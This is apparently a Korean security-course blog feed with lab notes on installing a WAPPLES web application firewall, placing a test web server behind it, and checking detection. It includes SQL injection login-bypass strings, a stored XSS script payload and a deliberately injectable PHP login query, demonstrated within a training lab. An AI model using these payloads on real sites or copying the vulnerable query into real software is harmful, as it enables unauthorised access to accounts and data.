                (Bridged)  tp0 +-- [Wapples] server1.kr, server2.kr, server3.kr
                                 B    | 
                                 [관리포트] ctl0 Host only (192.168.56.102)
tp0: 서비스 포트, ctl0: 관리 포트
</code></pre><blockquote>
<p><strong>실습&gt; WAPPLES 설정하기</strong></p>
</blockquote>
<pre><code>1. 가상 시스템 가져오기 
다운로드 받은 WAPPLES-5.0.0.13_KH.ova 파일을 선택한다.

메뉴: 파일 &gt; 가상시스템 가져오기 &gt; 파일 &gt; WAPPLES-5.0.0.13_KH.ova 선택

RAM : 4096 -&gt; 2048 로 변경
MAC 주소 정책 : 모든 네트워크 어댑터의 새 MAC 주소 생성을 선택

Finish 버튼을 클릭한다.

2. 네트워크 설정
가상머신 생성이 완료되면 네트워크를 선택해서 어댑터1만 있으므로 어댑터2를 추가한다.
참고로 브릿지의 MAC주소는 각자 다를 수 있다.
어댑터1 : 브리지           (MAC 주소 : 08:00:27:CB:D2:CD)  080027CBD2CD 
어댑터2 : 호스트 전용 어댑터 (MAC 주소 : 08:00:27:85:BC:F6) 08002785BCF6

3. WAPPLES 부팅
설정이 완료되면 부팅을 한다.

4. WAPPLES 로그인 
WAPPLES가 부팅되면 시스템에 로그인 한다.
penta login: root   
password:   &lt;-- 비번 입력

penta 프롬프트가 뜨면 enable 명령어로 관리자 모드로 변경한다.
penta&gt; enable
password:   &lt;-- 비번 입력

5. 인터페이스 설정
인터페이스를 설정한다.
처음에 인터페이스는 eth0, eth1로 설정되어 있지만 eth0, eth1의 이름을 tp0, ctl0으로 변경해야 한다.
인터페이스를 변경하는 명령어가 udev-init 이라는 명령어다.

adapter1 : Briged            (MAC address: 08:00:27:CB:D2:CD)  080027CBD2CD  &lt;-- eth1 -&gt; tp0
adapter2 : Host only adapter (MAC address: 08:00:27:85:BC:F6)  08002785BCF6  &lt;-- eth0 -&gt; ctl0

conf t
network
udev-init
13) 번 Udev Interface Setting 메뉴를 선택한다.

tp0, ctl0을 설정한 후 저장한 다음 서버를 재부팅한다.
Name : eth1     Mac Address : 08:00:27:cb:d2:cd
Do you want to change? (m:modify, d:delete) : m  &lt;-- 변경할 것이므로 m을 입력하고 엔터
Interface name change? (y) : y  &lt;-- 변경할 것이므로 y를 입력하고 엔터
Input new interface Name: tp0   &lt;-- tp0을 입력하고 엔터
Mac address name change?(y) :   &lt;-- 변경하지 않으므로 아무것도 입력하지 않고 엔터
Mac address is not changed.
Name : eth0     Mac Address : 08:00:27:85:bc:f6
Do you want to change? (m:modify, d:delete) : m  &lt;-- 변경할 것이므로 m을 입력하고 엔터
Interface name change? (y) : y  &lt;-- 변경할 것이므로 y를 입력하고 엔터
Input new interface Name: ctl0   &lt;-- ctl0을 입력하고 엔터 
Mac address name change?(y) :   &lt;-- 변경하지 않으므로 아무것도 입력하지 않고 엔터
Mac address is not changed.
new udev
==================================================
Name : tp0      Mac Address : 08:00:27:2C:F6:B9   &lt;-- Briged 로 설정되어 있는 어댑터
Name : ctl0     Mac Address : 08:00:27:04:76:01   &lt;-- Host only 로 설정되어 있는 어댑터
==================================================
Do you want to save the changes? (y) y  &lt;-- 변경할 것이므로 y를 입력하고 엔터
The udev file has been successfully updated.

Rebooting is required to appy the changes.
Do you want to reboot now?(y or n) y &lt;-- 변경할 것이므로 y를 입력하고 엔터

서버가 부팅된다. 

6. 네트워크 설정
설정이 완료되고 WAPPLES가 부팅되면 다시 시스템에 로그인 한다.
penta login: root   
password:   &lt;-- 비번 입력
penta&gt; enable
password:   &lt;-- 비번 입력

conf t
network

키 : 
- space : 다음 페이지
- Shift + PageUp, Shift + PageDown : 콘솔 화면 위, 아래로 이동
sh link all를 이용해서 ctl0, tp0이 Down으로 설정되어 있는 것을 확인한다.
sh ?
sh link ?
sh link all ?
sh link all


인터페이스 UP
ctl0, tp0를 Down(sh) -&gt; Up(no sh)으로 변경해서 인터페이스를 활성화 한다.
sh link all
link-status set ctl0 up
link-status set tp0 up

관리 포트 IP 주소 설정
ctl0 인터페이스를 선택하고 설정한다.
IP주소 대역은 모두 공통으로 설정한다.
link ctl0
if add 192.168.56.102/24 192.168.56.255
sh if 1
sh if all
exit

SSH 접속
여기까지 설정하면 SSH로 터미널로 로그인이 가능하다.
다음 설정부터 SSH로 접속해서 설정한다.
</code></pre><blockquote>
<p><strong>실습&gt; SSH 접속을 참고한다.</strong></p>
</blockquote>
<pre><code>서비스 포트 IP 주소 설정
tp0 인터페이스를 선택하고 설정한다.
IP주소 대역은 자신의 네트워크 환경 Bridge 대역의 IP 주소로 설정하므로 모두 다르게 설정한다.
Host OS에서 cmd에서 ipconfig로 (이더넷, WiFi) 부분의 IP주소를 확인한다.

여기서는 자신에게 부여된 IP주소(192.168.20.11 ~ 30)로 설정한다.
강사 IP주소: 192.168.20.41

conf t
network
link tp0  &lt;-- 인터페이스 선택
if add 192.168.20.41/24 192.168.20.255 &lt;-- IP주소 설정
sh if 1
sh if all
exit

브릿지 설정
sh bridge  &lt;-- br0 
bridge add br0 tp0  
sh bridge  &lt;-- br0  tp0 

브릿지 설정 전: br0  으로 설정되어 있다.
penta(config-network)# sh bridge
------------------------------------------
Bridge Nic Info
br0  
------------------------------------------
penta(config-network)#

브릿지 설정 후: br0 tp0 으로 설정되어 있다.
penta(config-network)# sh bridge
------------------------------------------
Bridge Nic Info
br0  tp0
------------------------------------------
penta(config-network)#

게이트웨이 설정
여기서는 자신에게 부여된 IP 대역의 Gateway(192.168.20.1)로 설정한다.
Gateway의 IP주소는 각자 다르므로 자신의 네트워크를 확인하고 설정한다.
Host OS에서 cmd에서 ipconfig로 (이더넷, WiFi) 부분의 IP주소를 확인한다.
사설 네트워크 주소
10.0.0.0 ~ 10.255.255.255
172.16.0.0 ~ 172.31.255.255
192.168.0.0 ~ 192.168.255.255

sh rt ipv4 all
rt add ipv4 default 192.168.20.1 tp0
sh rt ipv4 all
rt del ipv4 1  &lt;-- 삭제할 경우
rt add ipv4 default 192.168.20.1 tp0
save configuration  &lt;-- 인터페이스에 지정한 IP주소와 게이트웨이 설정을 저장한다.

penta(config-network)# sh rt ipv4 all
ROUTING INFO
--------------------------------------------------------------------------------
INDEX DESTINATION         GATEWAY             GENMASK             Iface
--------------------------------------------------------------------------------
1     default             192.168.20.1        0.0.0.0             tp0
2     192.168.20.0        0.0.0.0             255.255.255.0       tp0
3     192.168.56.0        0.0.0.0             255.255.255.0       ctl0

exit
bypass
show bypass
sw-bypass set off
save configuration
</code></pre><blockquote>
<p><strong>실습&gt; IE 실행 설정</strong></p>
</blockquote>
<pre><code>윈도우10/11이 변경이 되서 ieexplorer가 Edge와 통합 되었기에 이를 설정해야 한다.</code></pre><blockquote>
<p><strong>실습&gt; WAPPLES 웹 로그인</strong></p>
</blockquote>
<pre><code>검색 -&gt; ieexplorer를 검색해서 실행한다.
참고로 WAPPLES 웹로그인은 인터넷 익스플로러만 접속이 가능하다.
http://192.168.56.102/

화면에 나온 시작버튼을 클릭한다.

아이디: admin
비밀번호:  &lt;-- 비밀번호를 입력한다.</code></pre><blockquote>
<p><strong>실습&gt; 인증서 변경하기</strong></p>
</blockquote>
<pre><code>WAPPLES 에 로그인을 하면 라이센스가 만료되었기 때문에 새롭게 배포한 새 라이센스 파일로 인증서를 업데이트 해야한다.

환경설정 &gt; 시스템 &gt; 라이센스

업로드 후 검증하면 라이센스 기간이 2022-05-02 ~ 2023-05-29 업데이트가 된다.

저장버튼을 클릭한다.</code></pre><blockquote>
<p><strong>실습&gt; 웹서버를 WAF 안으로 넣기</strong></p>
</blockquote>
<pre><code>1. 네트워크 구조
Wapples: 192.168.20.41        &lt;-- 강사 Wapples
Victim Server1: 192.168.20.42 &lt;-- 강사 Victim 서버

                                 B 192.168.20.42
[Internet] ---------- [SW]-----+-- [Server1] &lt;---+
                               |                 |        
                (Bridged)  tp0 +-- [Wapples] ----+
                                 B 192.168.20.41   
                                 [관리포트] ctl0 Host only (192.168.56.102)
tp0: 서비스 포트, ctl0: 관리 포트

Host OS에서 ipconfig로 (이더넷, WiFi) 부분의 IP주소를 확인한다.

2. 전체 IP설정 정보
WAF(Web Application Firewall)
- tp0  : 192.168.20.41/24   &lt;-- 각자 IP주소가 다르다.
- ctl0 : 192.168.56.102/24  &lt;-- 모두 같다.

3. Victim WEB Server 설정
Victim WEB Server webtest를 브릿지 대역의 IP주소로 변경한다.
브릿지 대역은 서로 각자 다를 수 있기 때문에 자신의 IP주소 대역으로 설정한다.
- 200.200.200.101 -&gt;  192.168.20.42 (각자 부여받은 192.168.20.50 ~ 70 중에서 자신의 것으로 설정한다.)

# nmtui
IPv4 CONFIGURATION: Manual
Addresses: 192.168.20.42   &lt;-- 자신에게 부여받은 IP주소로 설정한다.
GateWay: 192.168.20.1
DNS servers: 168.126.63.1
[x] Automatically connect

# systemctl restart network
# ip a

# ping -c 4 8.8.8.8

4. WAF 설정 확인
WAF로 IP주소와 게이트웨이 정보를 확인한다.

penta(config-network)# sh rt ipv4 all
------ ROUTING INFO
--------------------------------------------------------------------------------
INDEX DESTINATION         GATEWAY             GENMASK             Iface
--------------------------------------------------------------------------------
1     default             192.168.20.1        0.0.0.0             tp0
2     192.168.20.0        0.0.0.0             255.255.255.0       tp0
3     192.168.56.0        0.0.0.0             255.255.255.0       ctl0
penta(config-network)# sh if tp0 all
------ IF INFO
--------------------------------------------------------------------------------
IF INDEX     : 1
IF ADDR      : 192.168.20.41/24
IF ADDR(IPv4): 192.168.20.41/24
IF MASK      : 255.255.255.0
IF BRD ADDR  : 192.168.20.255
IF FLAG      : FIRST
--------------------------------------------------------------------------------
IF INDEX     : 2
IF ADDR      : fe80::a00:27ff:fecb:d2cd/64
IF ADDR(IPv6): fe80::a00:27ff:fecb:d2cd/64
IF MASK      : ffff:ffff:ffff:ffff::
penta(config-network)# sh if ctl0 all
------ IF INFO
--------------------------------------------------------------------------------
IF INDEX     : 1
IF ADDR      : 192.168.56.102/24
IF ADDR(IPv4): 192.168.56.102/24
IF MASK      : 255.255.255.0
IF BRD ADDR  : 192.168.56.255
IF FLAG      : FIRST
--------------------------------------------------------------------------------
IF INDEX     : 2
IF ADDR      : fe80::a00:27ff:fe85:bcf6/64
IF ADDR(IPv6): fe80::a00:27ff:fe85:bcf6/64
IF MASK      : ffff:ffff:ffff:ffff::

5. Proxy 설정
192.168.20.41: WAPPLES
192.168.20.42: WebTest

메뉴에서 마법사를 클릭한다.

Step 1 of 9 
다음을 클릭한다.

Step 2 of 9 
인증서 설정
인증서 부분은 이미 위에서 설정했기 때문에 다음을 클릭한다.

Step 3 of 9 
웹서버 선택
새로운 웹서버 추가를 선택하고 다음을 클릭한다.

Step 4는 없고 그냥 5로 간다.

Step 5 of 9 
Proxy 모드 설정
Proxy 모드를 선택하고 다음을 클릭한다.

Step 6 of 9 
서비스 네트워크 설정
Proxy IP: 192.168.20.41  &lt;-- 각자 자신이 설정한 Proxy IP주소(tp0)를 설정한다.
Port Port: 80            &lt;-- 모두 동일하게 설정한다.
Gateway: 192.168.20.1    &lt;-- 각자 자신의 Gateway IP주소를 설정한다.
Netmask: 255.255.255.0   &lt;-- 각자 자신의 네트워크의 넷마스크를 설정한다.

설정을 완료한 후 다음을 클릭한다.

Step 7 of 9 
웹 서버 IP 설정
웹 서버 IP: 192.168.20.42   &lt;-- 각자 자신이 설정한 WebTest의 IP주소를 설정한다.
웹 서버 Port: 80            &lt;-- 모두 동일하게 설정한다.

설정을 완료한 후 다음을 클릭한다.

Step 8 of 9 
웹 사이트 설정
웹 사이트 이름: 192.168.20.42  &lt;-- 각자 자신이 설정한 WebTest IP주소를 설정한다.
웹 사이트 설명: WebTest        &lt;-- 각자 마음대로 설정한다.
정책: 0. 탐지없이 통과         &lt;-- 탐지없이 통과로 설정한다.

설정을 완료한 후 다음을 클릭한다.

Step 9 of 9 
전체 요약
마지막에는 설정한 전체 요약된 내용이 출력되고 확인한 후 완료 버튼을 클릭해서 설정을 완료한다.

웹 서버
IP: 192.168.20.42:80
Mode: Proxy Mode
Proxy IP: 192.168.20.41:80
Gateway: 192.168.20.1
Netmask: 255.255.255.0

웹서버 
IP: 192.168.20.42
설명:WebTest
정책: 0.탐지없이 통과

&gt;&gt;&gt; 설정 후에는 얼마든지 변경이 가능하다. &lt;&lt;&lt;
위치는 [환경설정] -&gt; [탐지] -&gt; [웹서버]
6. 
웹 사이트 접속
설정 후에 Proxy IP주소로 접속하면 WebTest로 접속이 되면 성공!!!
이때는 WAF을 거쳐서 WebTest로 접속하는 것이다.
처음에 접속할 때 시간이 좀 걸린다. 접속 후에는 바로 접속한다.

WAF(Web Application Firewall: 웹방화벽)
WAF(192.168.20.41)과 Victim의 IP주소(192.168.20.42) 에 접속했을 때 WebTests가 뜨면 성공!!!
http://192.168.20.41/ : 간접 접속 (WAF를 거쳤다가 웹서버로 들어가는 것이다.)
http://192.168.20.42/ : 직접 접속 (WebTest 웹서버로 바로 들어가는 것이다.)
</code></pre><blockquote>
<p><strong>실습&gt; 웹서버로 직접 접속 금지하기</strong></p>
</blockquote>
<pre><code>웹서버를 WAF 안으로 넣었기 때문에 웹사이트의 직접 접속은 접근할 수 없도록 금지한다.


--------------------------------&gt; X
                                 B 192.168.20.42
[Internet] ---------- [SW]-----+-- [Server1]   &lt;---+
                               |              ---+ |        
--------------------------+    |                 | |
                          | O  |        response | | request
                          |    |                 | |
                          v    |             &lt;---+ |
                (Bridged)  tp0 +-- [Wapples] ------+
                                 B 192.168.20.41   
                                 [관리포트] ctl0 Host only (192.168.56.102)
tp0: 서비스 포트, ctl0: 관리 포트


1. 직접 접속 금지
iptables 로 방화벽을 설정할 때 자신에게 부여 받은 IP주소로 설정한다.
# systemctl stop firewalld
# systemctl disable firewalld
# yum -y install iptables-services
# systemctl enable iptables

간접 접속 체크 룰을 설정한다.
# iptables -A INPUT -s 192.168.20.41 -d 192.168.20.42 -m multiport -p tcp --dport 80,443 -j ACCEPT

직접 접속 체크 룰을 설정한다.
WAF에서 들어오는 패킷만 허용하고 직접 192.168.20.42로 들어오는 패킷은 거부한다.
# iptables -A INPUT -d 192.168.20.42 -m multiport -p tcp --dport 80,443 -j DROP

# iptables -Z
# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 27 packets, 1745 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

2. 접속 시도
각자 설정된 자신의 IP주소로 접속한다.

# iptables -Z INPUT
# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 6 packets, 364 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

아파치 로그를 모니터링 한다.
# &gt; /var/log/httpd/access_log
# tail -f /var/log/httpd/access_log

WAF를 통해서 간접 접속을 한다.
http://192.168.20.41   &lt;-- 접속이 허용된다.

# tail -f /var/log/httpd/access_log
192.168.20.41 - - [04/Apr/2023:00:35:18 +0900] &quot;GET / HTTP/1.1&quot; 200 4446 &quot;-&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36&quot;
192.168.20.41 - - [04/Apr/2023:00:35:24 +0900] &quot;GET /?id=bbs1&amp;m=list HTTP/1.1&quot; 200 3758 &quot;http://192.168.20.41/&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36&quot;
192.168.20.41 - - [04/Apr/2023:00:35:24 +0900] &quot;GET /images/file.png HTTP/1.1&quot; 200 12159 &quot;http://192.168.20.41/?id=bbs1&amp;m=list&quot; &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36&quot;

접속한 것을 패킷을 확인한다.
# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 10 packets, 604 bytes)
 pkts bytes target     prot opt in     out     source               destination         
    7  1398 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
    0     0 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

직접 접속을 하면 방화벽에 의해서 접속이 거부가 된다.
http://192.168.20.42  &lt;-- 접속 거부로 인해서 접속이 거부된다.

# iptables -nvL INPUT
Chain INPUT (policy ACCEPT 15 packets, 920 bytes)
 pkts bytes target     prot opt in     out     source               destination         
   10  1518 ACCEPT     tcp  --  *      *       192.168.20.41        192.168.20.42        multiport dports 80,443
   27  1404 DROP       tcp  --  *      *       0.0.0.0/0            192.168.20.42        multiport dports 80,443

# iptables-save &gt; /etc/sysconfig/iptables


패킷 흐름 확인
tcpdump로 패킷의 흐름을 확인한다.

http://192.168.20.41/  &lt;-- 접속 가능   O  (방화벽에 ACCEPT로 설정되어 있기 때문이다.)  
http://192.168.20.42/  &lt;-- 접속 불가능 X  (방화벽에 DROP으로 설정되어 있기 때문이다.)

    Host OS                        iptables      WebTest
[192.168.20.15]---------------&gt; X [Firewall] [192.168.20.42]
                   request      DROP               

    Host OS                         WAF                         iptables    WebTest
[192.168.20.15]---------------&gt;[192.168.20.41]-------------&gt; O [Firewall] [192.168.20.42]
                   request                        request   ACCEPT

    Host OS                         WAF                                     WebTest
[192.168.20.15]&lt;---------------[192.168.20.41]&lt;------------- O [Firewall] [192.168.20.42]
                   response                      response   ACCEPT
</code></pre><blockquote>
<p><strong>실습&gt; 와플즈 정책 설정하기</strong></p>
</blockquote>
<pre><code>
[메뉴] &gt; [정책설정]

1. 정책 설정하기
기본정책은 0 ~ 6까지 7개를 기본적으로 제공한다. (원본)
웹사이트를 추가할 때 기본으로 제공되는 정책 밑에 두지말고 복사해서 그 밑에 둔다. (복사본)

0 ~ 6 까지 : 펜타시큐리티에서 제공되는 정책
정책 밑에 두면 대응을 수정할 없기 때문에 복사를 해줘야 수정이 가능하다.
복사한 정책 밑에 탐지하고자 하는 호스트를 등록한다.

2. 정책 추가 
왼쪽 아이콘을 클릭한다.

추가할 정책명을 입력해주세요.
- WebHackTest 정책 추가

사용할 기반 정책을 선택하세요.
- 4.고급 보안 정책을 추가함.

웹사이트 추가
- 웹사이트가 없을 때 추가한다.
- 마법사를 통해서 생성했기 때문에 웹사이트 있어서 추가할 필요가 없다.
- IP주소를 Proxy의 IP주소로 설정한다.
- 정책 추가 옆에 웹사이트 추가 아이콘을 클릭한다.

- e.g.) Proxy 방식으로 여러 사이트를 설정한 경우

                               +-- [Server1]  &lt;---+
                               | B                |
[Internet] ---------- [SW]-----+-- [Server2]  &lt;---+-----------+
                               | B                |           |
                               +-- [Server3]  &lt;---+-----------+-----------+
                               | B                |           |           |
                (Bridged)  tp0 +-- [Wapples] server1.kr, server2.kr, server3.kr
                                 B    | 
                                 [관리포트] ctl0 Host only (192.168.56.102)


Host명: 192.168.20.41
Port: 80
서브디렉터리: X
설명: 192.168.20.41

http://192.168.20.41/ 로 접속한다.

WebTest 페이지가 보여지면 WAF를 통과해서 192.168.20.42로 접속되는 것이다.
</code></pre><blockquote>
<p><strong>실습&gt; SQLi 테스트</strong></p>
</blockquote>
<pre><code>SQLi 를 테스트 한다.

1. SQLi 공격 시도
LOGIN
ID    : &#39; or 1=1#
PASSWORD: 1

2. 탐지 
4.고급 보안 정책 에서는 SQLi 이 400 Bad Request 로 설정되어 있다.
그러므로 SQLi 시도 후에 400 Bad Request 메세지가 출력되고 멈춘다.
400    Bad Request
The server cannot or will not process the request due to an apparent client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).

3. 대응 설정 변경
4.고급 보안 정책 에서는 SQLi 이 400 Bad Request 의 대응 설정을
에러코드: 400 Bad Request -&gt; 페이지 이동: https://www.naver.com  으로 변경한다.
설정 완료 -&gt; 저장 -&gt; 메모기록 아니오 를 클릭한다.

4. SQLi 공격 시도
LOGIN
ID    : &#39; or 1=1#
PASSWORD: 1

공격이 탐지되면 WAF가 네이버로 이동시킨다.
</code></pre><blockquote>
<p><strong>실습&gt; Stored XSS 탐지로 설정된 경우</strong></p>
</blockquote>
<pre><code>
1. 정책
o WebHackTest 
  |
  +-- 192.168.20.41 (각자 자신의 Proxy IP주소 설정)

룰 이름: Cross Site Scripting 
탐지: 스크립트 허용 안 함
대응: 에러코드 400 Request

2. 공격 게시글 작성
로그인해서 게시판에서 아래처럼 글을 입력한다.

이 름: 관리자
비밀번호: 111111
이메일:
제 목: xss
HTML적용: 적용
내 용: 
안녕하세요.

&lt;script&gt; alert(&quot;xss&quot;); &lt;/script&gt;

등록 버튼을 누른다.

3. 공격 탐지
WAF에서 Stored XSS 을 탐지해서 아래처럼 에러코드가 전송되고 웹페이지 전송이 중지된다.

400    Bad Request
The server cannot or will not process the request due to an apparent client error (e.g., malformed request syntax, invalid request message framing, or deceptive request routing).</code></pre><blockquote>
<p><strong>실습&gt; Stored XSS 탐지로 설정되지 않은 경우</strong></p>
</blockquote>
<pre><code>1. 정책
o WebHackTest 
  |
  +-- 192.168.20.41 (각자 자신의 Proxy IP주소 설정)

룰 이름: Cross Site Scripting 
탐지: 탐지 안 함   &lt;== 이 부분이 중요하다!!!
대응: 에러코드 400 Request

2. 공격 게시글 작성
로그인해서 게시판에서 아래처럼 글을 입력한다.

이 름: 관리자
비밀번호: 111111
이메일:
제 목: xss
HTML적용: 적용
내 용: 
안녕하세요.

&lt;script&gt; alert(&quot;xss&quot;); &lt;/script&gt;

등록 버튼을 누른다.

3. 공격 탐지
WAF에서 탐지하지 않으므로 Stored XSS 의 코드가 서버의 웹페이지로 전송이 되고 DB에 저장된다. 

4. 게시글 확인
Stored XSS 으로 저장된 게시글을 확인하면 alert 창이 뜬다.

</code></pre><blockquote>
<p><strong>실습&gt; SQLi 을 로그를 통해 좀 더 쉽게 분석하기</strong></p>
</blockquote>
<pre><code>mariadb SQL 쿼리의 로그가 기록되게 설정한다.
general_log : 로그기록 On/Off
general_log_file : 로그가 기록되는 경로

MariaDB [(none)]&gt; show variables like &#39;general_log%&#39;;
+------------------+----------------+
| Variable_name    | Value          |
+------------------+----------------+
| general_log      | OFF            |
| general_log_file | webhacking.log |
+------------------+----------------+
2 rows in set (0.00 sec)

영구적으로 로그를 확인하기 위해서는 /etc/my.cnf 파일을 수정한다.
-- /etc/my.cnf --
[mysqld]
 :
general_log = 1
log = /var/lib/mysql/webhacking.log
-- /etc/my.cnf --

mariadb를 재시작한다.
# systemctl restart mariadb

general_log 를 확인한다.
# mysql
MariaDB [(none)]&gt; SHOW VARIABLES LIKE &#39;general_log%&#39;;
+------------------+-------------------------------+
| Variable_name    | Value                         |
+------------------+-------------------------------+
| general_log      | ON                            |
| general_log_file | /var/lib/mysql/webhacking.log |
+------------------+-------------------------------+
2 rows in set (0.00 sec)

로그 파일을 모니터링한다.
# tail -f /var/lib/mysql/webhacking.log
</code></pre><blockquote>
<p><strong>실습&gt; SQLi 로그인 테스트</strong></p>
</blockquote>
<pre><code>1. 로그 모니터링
로그 파일을 모니터링한다.
# tail -f /var/lib/mysql/webhacking.log

2. 로그인
로그인 페이지에서 로그인을 시도한다.
LOGIN
ID: admin
PASSWORD: 222222

-- login_check.php --
$strSQL=&quot;SELECT * FROM member WHERE u_id=&#39;$id&#39; and u_pass=&#39;$pw&#39;&quot;; 
-- login_check.php --

로그에는 아래처럼 기록된다.
221029 13:02:18        5 Connect    webadmin@localhost as anonymous on 
            5 Query    SET NAMES utf8
            5 Init DB    WebTest
            5 Query    SELECT * FROM member WHERE u_id=&#39;admin&#39; and u_pass=&#39;222222&#39;
            5 Quit    

3. 재로그인
로그아웃을 하고 다시 로그인을 시도한다.
LOGIN
ID: &#39; or 1=1#  &lt;-- 1
PASSWORD: 1    &lt;-- 2

221029 13:07:15        6 Connect    webadmin@localhost as anonymous on 
            6 Query    SET NAMES utf8
            6 Init DB    WebTest
            6 Query    SELECT * FROM member WHERE u_id=&#39;&#39; or 1=1#&#39; and u_pass=&#39;1&#39;
            6 Quit                                     ~~~~~~~~~              ~
                                                         1                  2

&gt;&gt;&gt; 여기부터 &lt;&lt;&lt;

4. 소스수정
여러 줄로 되어 있게 소스코드를 수정한다.

-- login_check.php --
    $strSQL=&quot;SELECT * FROM member 
             WHERE 
             u_id=&#39;$id&#39; 
             and 
             u_pass=&#39;$pw&#39;&quot;;
-- login_check.php --

5. 로그인
로그아웃을 하고 다시 로그인을 시도한다.
LOGIN
ID: &#39; or 1=1#  &lt;-- 1
PASSWORD: 1    &lt;-- 2

로그인 실패

로그인 실패의 이유는 아래 분석을 참고한다.
221029 13:14:58        8 Connect    webadmin@localhost as anonymous on 
            8 Query    SET NAMES utf8
            8 Init DB    WebTest
            8 Query    SELECT * FROM member 
             WHERE 
             u_id=&#39;&#39; or 1=1#&#39; 
             and   ~~~~~~~~~  &lt;-- 1
             u_pass=&#39;1&#39;
            8 Quit     ~  &lt;-- 2

MariaDB [WebTest]&gt; SELECT * FROM member 
    -&gt;              WHERE 
    -&gt;              u_id=&#39;&#39; or 1=1#&#39; 
    -&gt;              and 
    -&gt;              u_pass=&#39;1&#39;
    -&gt; 
    -&gt; ;
Empty set (0.00 sec)

MariaDB [WebTest]&gt; SELECT * FROM member
    -&gt;             WHERE
    -&gt;             TRUE
    -&gt;             AND
    -&gt;             u_pass=&#39;1&#39;;
Empty set (0.00 sec)

MariaDB [WebTest]&gt; SELECT * FROM member
    -&gt;             WHERE
    -&gt;             TRUE
    -&gt;             AND
    -&gt;             FALSE;
Empty set (0.00 sec)

MariaDB [WebTest]&gt; SELECT * FROM member
    -&gt;             WHERE
    -&gt;             FALSE;
Empty set (0.00 sec)

LOGIN
ID: &#39; or 1=1/*  &lt;-- 1
PASSWORD: */    &lt;-- 2

로그인 성공

로그인 성공의 이유는 아래 분석을 참고한다.
221029 13:22:49       10 Connect    webadmin@localhost as anonymous on 
           10 Query    SET NAMES utf8
           10 Init DB    WebTest
           10 Query    SELECT * FROM member 
             WHERE 
             u_id=&#39;&#39; or 1=1/*&#39; 
             and           ~~~ &lt;-- 여기부터 끝까지 주석
             u_pass=&#39;*/#&#39; 
           10 Quit    

MariaDB [WebTest]&gt; SELECT * FROM member
    -&gt;             WHERE
    -&gt;             TRUE;
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
| no | u_id   | u_pass | u_name    | nickname  | age  | email            | reg_date            |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
|  1 | tester | 111111 | 테스터    | 테스터    |    3 | tester@naver.com | 2022-10-28 22:28:11 |
|  2 | admin  | 222222 | 관리자    | 관리자    |   30 | admin@naver.com  | 2022-10-28 22:28:47 |
+----+--------+--------+-----------+-----------+------+------------------+---------------------+
2 rows in set (0.00 sec)
</code></pre>]]></description>
        </item>
        <item>
            <title><![CDATA[애플리케이션 보안 운영 - 1 (교육 87일차)]]></title>
            <link>https://velog.io/@security_code/%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-1-%EA%B5%90%EC%9C%A1-87%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EC%95%A0%ED%94%8C%EB%A6%AC%EC%BC%80%EC%9D%B4%EC%85%98-%EB%B3%B4%EC%95%88-%EC%9A%B4%EC%98%81-1-%EA%B5%90%EC%9C%A1-87%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sat, 01 Apr 2023 15:03:35 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; CentOS 7에서 APM 환경 구성하기</strong></p>
</blockquote>
<pre><code>APM: Apache + Php + MySQL, MariaDB

APM 환경 구성하기 참고 : https://cafe.naver.com/linuxmasternet/1406
그누보드 참고 : https://cafe.naver.com/linuxmasternet/60

WEB Server : Apache 웹서버 (httpd)
WAS : Php 프로그래밍 언어 (php)
DB Server : MariaDB 데이터베이스 서버 (mariadb-server), 클라이언트 (mariadb)
Php 와 MariaDB 연동 : (php-mysql)

Apache 설정 파일: /etc/httpd/conf/httpd.conf
Php 설정 파일: /etc/php.ini
MariaDB 설정 파일: /etc/my.cnf

1. 네트워크 환경
VMname: WebHacking
VMnet8: 200.200.200.0/24
IP주소: 200.200.200.3/24
게이트웨이: 200.200.200.2
DNS 서버: 168.126.63.1
호스트명: webhacking.linuxmaster.net

2. 방화벽 설정
# firewall-cmd --permanent --add-service=http
# firewall-cmd --permanent --add-service=https
# firewall-cmd --reload
# firewall-cmd --list-all

3. APM 설치
서버에 APM 환경을 구성한다.
# yum -y install httpd php php-mysql mariadb mariadb-server

서비스를 활성화 시킨다.
서비스를 활성화 하면 서버가 재부팅해도 서비스가 자동으로 시작된다.
# systemctl enable httpd
# systemctl enable mariadb

GD 라이브러리를 설치한다.
GD 라이브러리는 서버를 설치하는데 있어서 무조건 필수라고 생각하면 된다.
# yum -y install php-gd gd gd-devel libjpeg libjpeg-devel giflib giflib-devel libpng libpng-devel freetype freetype-devel

웹서버 설정파일 수정
파일의 확장자가 .php, .html이면 php로 인식하는 설정을 한다.
# vi /etc/httpd/conf.d/php.conf 
&lt;FilesMatch \.(php|html)$&gt;
    SetHandler application/x-httpd-php
&lt;/FilesMatch&gt;

DirectoryIndex index.php index.html

PHP 설정파일 수정
php 설정파일을 수정한다.
date.timezone : 시간대 설정
short_open_tag : &lt;?php -&gt; &lt;?
expose_php : 연동된 정보 출력 여부
display_errors : 개발용 On, 운영용 Off
